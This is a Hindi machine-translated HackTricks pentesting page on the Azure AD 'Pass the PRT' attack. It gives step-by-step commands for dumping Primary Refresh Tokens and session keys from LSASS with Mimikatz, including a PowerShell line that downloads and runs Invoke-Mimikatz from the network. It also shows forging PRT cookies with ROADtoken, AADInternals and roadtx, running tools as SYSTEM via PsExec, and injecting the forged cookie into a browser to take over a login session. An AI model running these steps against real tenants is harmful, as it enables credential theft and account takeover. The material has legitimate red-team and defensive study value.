Az - Pass the PRT

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

पीआरटी क्या है

pageAz - Primary Refresh Token (PRT)

जांचें कि आपके पास एक पीआरटी है या नहीं

Dsregcmd.exe /status

SSO स्थिति

आपको AzureAdPrt को YES सेट किए गए देखना चाहिए।

इसी आउटपुट में आप देख सकते हैं कि क्या डिवाइस Azure से जुड़ा हुआ है (क्षेत्र AzureAdJoined में):

PRT कुकी

PRT कुकी वास्तव में x-ms-RefreshTokenCredential कहलाती है और यह एक JSON वेब टोकन (JWT) है। एक JWT में 3 भाग होते हैं, हेडर, पेलोड और सिग्नेचर, . द्वारा विभाजित और सभी url-सुरक्षित base64 एन्कोडेड होते हैं। एक साधारण PRT कुकी निम्नलिखित हेडर और बॉडी को शामिल करती है:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

वास्तविक प्राथमिक रिफ्रेश टोकन (PRT) refresh_token के भीतर आवरित है, जिसे एक कुंजी द्वारा एन्क्रिप्ट किया जाता है जो एज़्यूर AD के नियंत्रण में है, जिससे इसकी सामग्री अस्पष्ट और हमारे लिए अनविचार्य बन जाती है। is_primary फ़ील्ड प्राथमिक रिफ्रेश टोकन के इस टोकन के भीतर आवरण को सूचित करती है। यह सुनिश्चित करने के लिए कि कुकी उस विशेष लॉगिन सत्र से जुड़ी रहे इसके लिए request_nonce को logon.microsoftonline.com पृष्ठ से प्रेषित किया जाता है।

TPM का उपयोग करके PRT कुकी फ्लो

LSASS प्रक्रिया TPM को KDF संदर्भ भेजेगी, और TPM सत्र कुंजी का उपयोग करेगा (जब उपकरण को एज़्यूर AD में पंजीकृत किया गया था और TPM में संग्रहीत किया गया था) और पिछले संदर्भ का उपयोग करके एक कुंजी को विकसित करेगा, और यह विकसित कुंजी का उपयोग PRT कुकी (JWT) को साइन करने के लिए किया जाता है।

KDF संदर्भ एक नॉन्स है जो AzureAD से और PRT से आता है जो JWT बनाता है जिसमें संदर्भ (रैंडम बाइट्स) मिलाए जाते हैं।

इसलिए, यदि PTR को निकाला नहीं जा सकता क्योंकि यह TPM के अंदर स्थित है, तो नए संदर्भ से विकसित कुंजियों का अनुरोध करने और उत्पन्न कुंजियों का उपयोग करके कुकी को साइन करने के लिए LSASS का दुरुपयोग किया जा सकता है।

PRT दुरुपयोग स्थितियाँ

एक सामान्य उपयोगकर्ता के रूप में आप LSASS से SSO डेटा का अनुरोध करके PRT उपयोग करने के संभावनाएँ हैं। यह नेटिव ऐप्स की तरह किया जा सकता है जो वेब खाता प्रबंधक (टोकन ब्रोकर) से टोकन का अनुरोध करते हैं। WAM अनुरोध को LSASS को पास करता है, जो साइन किए गए PRT अभिकथन का उपयोग करके टोकन के लिए अनुरोध करता है। या यह ब्राउज़र आधारित (वेब) फ्लो के साथ किया जा सकता है जहां PRT कुकी का उपयोग हेडर के रूप में किया जाता है ताकि Azure AS लॉगिन पेजों के लिए अनुरोधों को प्रमाणित किया जा सके।

SYSTEM के रूप में आप PRT को चोरी कर सकते हैं अगर TPM द्वारा संरक्षित नहीं है या LSASS में PRT कुंजियों के साथ बातचीत कर सकते हैं क्रिप्टो एपीआई का उपयोग करके।

PRT दुरुपयोग हमले उदाहरण

हमला - ROADtoken

इस तरीके के बारे में अधिक जानकारी के लिए इस पोस्ट की जाँच करें। ROADtoken BrowserCore.exe को सही निर्देशिका से चलाएगा और इसका उपयोग करके PRT कुकी प्राप्त करेगा। इस कुकी का उपयोग फिर ROADtools के साथ प्रमाणित करने और स्थायी रिफ्रेश टोकन प्राप्त करने के लिए किया जा सकता है।

एक मान्य PRT कुकी उत्पन्न करने के लिए पहली चीज जो आपको चाहिए है एक नॉन्स है। आप इसे प्राप्त कर सकते हैं:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

या roadrecon:

roadrecon auth prt-init

तो आप roadtoken का उपयोग कर सकते हैं एक नया PRT प्राप्त करने के लिए (उपयोगकर्ता की प्रक्रिया से उपकरण में चलाएं):

.\ROADtoken.exe <nonce>
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

फिर आप उत्पन्न कुकी का उपयोग करके टोकन उत्पन्न कर सकते हैं और Azure AD ग्राफ या माइक्रोसॉफ्ट ग्राफ का उपयोग करके लॉगिन कर सकते हैं:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

हमला - रोडरेकॉन का उपयोग

हमला - AADInternals का उपयोग और लीक हुआ PTR

Get-AADIntUserPRTToken यूज़र का PRT टोकन एज़्यूर AD ज्वाइंड या हाइब्रिड ज्वाइंड कंप्यूटर से प्राप्त करता है। BrowserCore.exe का उपयोग PRT टोकन प्राप्त करने के लिए किया जाता है।

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

या यदि आपके पास Mimikatz से मान्यताएँ हैं तो आप AADInternals का उपयोग करके टोकन उत्पन्न कर सकते हैं:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

जाएं https://login.microsoftonline.com, login.microsoftonline.com के लिए सभी कुकीज़ को हटा दें और एक नई कुकी दर्ज करें।

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

फिर जाएं https://portal.azure.com

शेष सभी डिफ़ॉल्ट होने चाहिए। सुनिश्चित करें कि आप पृष्ठ को ताज़ा कर सकते हैं और कुकी गायब नहीं होती है, अगर ऐसा होता है, तो आपने गलती की हो सकती है और प्रक्रिया को फिर से शुरू करना होगा। अगर ऐसा नहीं होता है, तो आप ठीक हैं।

हमला - मिमीकैट्ज

कदम

  1. LSASS (स्थानीय सुरक्षा प्राधिकरण उपसाधन सेवा) से PRT (प्राथमिक ताज़ा करने वाला टोकन) निकाला जाता है और भविष्य में उपयोग के लिए संग्रहीत किया जाता है।

  2. अगले में सत्र कुंजी निकाली जाती है। यह कुंजी पहले जारी की जाती है और फिर स्थानीय उपकरण द्वारा पुनः एन्क्रिप्ट की जाती है, इसे DPAPI मास्टरकी का उपयोग करके डिक्रिप्शन करना आवश्यक है। DPAPI (डेटा संरक्षण API) के बारे में विस्तृत जानकारी इन संसाधनों में उपलब्ध है: HackTricks और इसके अनुप्रयोग की समझ के लिए, कुकी हमला अटैक के लिए संदर्भित करें।

  3. सत्र कुंजी का डिक्रिप्शन होने के बाद, PRT के लिए प्राप्त की गई उत्पन्न कुंजी और संदर्भ प्राप्त किए जाते हैं। ये PRT कुकी का निर्माण के लिए महत्वपूर्ण हैं। विशेष रूप से, उत्पन्न कुंजी का उपयोग कुकी बनाने वाले JWT (JSON वेब टोकन) को साइन करने के लिए किया जाता है। इस प्रक्रिया का विस्तृत विवरण Dirk-jan द्वारा प्रदान किया गया है, जिसे यहां से पहुंचा जा सकता है: यहां

ध्यान दें कि यदि PRT TPM के अंदर है और lsass के अंदर नहीं है तो mimikatz इसे निकालने में सक्षम नहीं होगा। हालांकि, यह संभव होगा कि एक कुंजी को एक संदर्भ से एक कुंजी प्राप्त किया जा सकता है TPM से और इसका उपयोग करके एक कुकी को साइन करने के लिए (विकल्प 3 की जांच करें)।

आप इन विवरणों को निकालने के लिए किए गए प्रक्रिया का विस्तृत विवरण यहां पा सकते हैं: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

यह अब अगस्त 2021 के बाद काम नहीं करेगा क्योंकि अन्य उपयोगकर्ताओं के PRT टोकन प्राप्त करने के लिए केवल उपयोगकर्ता ही अपना PRT प्राप्त कर सकता है (स्थानीय व्यवस्थापक अन्य उपयोगकर्ताओं के PRT को नहीं पहुंच सकता है), लेकिन अपना पहुंच सकता है।

आप mimikatz का उपयोग करके PRT को निकालने के लिए कर सकते हैं:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

कॉपी करें उस हिस्से को जिसे Prt के रूप में चिह्नित किया गया है और इसे सहेजें। नीचे हाइलाइट किए गए ProofOfPossesionKey फील्ड के KeyValue को भी निकालें। यह एन्क्रिप्टेड है और हमें इसे डिक्रिप्ट करने के लिए अपने DPAPI मास्टरकी का उपयोग करना होगा।

अगर आप PRTs नहीं देखते हैं तो यह हो सकता है कि आपके पास कोई PRTs नहीं हैं क्योंकि आपकी डिवाइस Azure AD से जुड़ी नहीं है या यह हो सकता है कि आप पुराने संस्करण के Windows 10 का उपयोग कर रहे हैं।

सत्र कुंजी को डिक्रिप्ट करने के लिए आपको अपनी विशेषाधिकारों को ऊंचा करने की आवश्यकता है ताकि आप DPAPI मास्टरकी का उपयोग करके इसे डिक्रिप्ट कर सकें। इसे करने के लिए आप निम्नलिखित कमांड का उपयोग कर सकते हैं:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

विकल्प 1 - पूर्ण मिमीकैट्ज

  • अब आपको कंटेक्स्ट मान की प्रतिलिपि करनी है:

  • और विकसित कुंजी मान:

  • अंततः आप इस सभी जानकारी का उपयोग करके PRT कुकी उत्पन्न कर सकते हैं:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
  • https://login.microsoftonline.com पर जाएं, login.microsoftonline.com के लिए सभी कुकी हटा दें और एक नई कुकी दर्ज करें।

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

शेष डिफ़ॉल्ट होना चाहिए। सुनिश्चित करें कि आप पृष्ठ को रिफ़्रेश कर सकते हैं और कुकी गायब नहीं होती है, अगर ऐसा होता है, तो आपने गलती की हो सकती है और प्रक्रिया फिर से शुरू करनी पड़ सकती है। अगर ऐसा नहीं होता है, तो आप ठीक हैं।

विकल्प 2 - PTR का उपयोग करके roadrecon

  • पहले PRT को नवीनीकरण करें, जो roadtx.prt में सहेज देगा:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • अब हम अंतर्क्रियात्मक ब्राउज़र का उपयोग करके roadtx browserprtauth का उपयोग करके टोकन का अनुरोध कर सकते हैं। यदि हम roadtx describe कमांड का उपयोग करते हैं, तो हमें पहुंच टोकन में एक एमएफए क्लेम दिखाई देता है क्योंकि इस मामले में मैंने उपयोग किए गए पीआरटी में भी एक एमएफए क्लेम था।

roadtx browserprtauth
roadtx describe < .roadtools_auth

विकल्प 3 - डिवाइस कुंजी का उपयोग करके roadrecon

मिमीकैट्ज द्वारा डंप किए गए संदर्भ और डिवाइस कुंजी के साथ, roadrecon का उपयोग करके एक नया साइन कुकी उत्पन्न करना संभव है:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated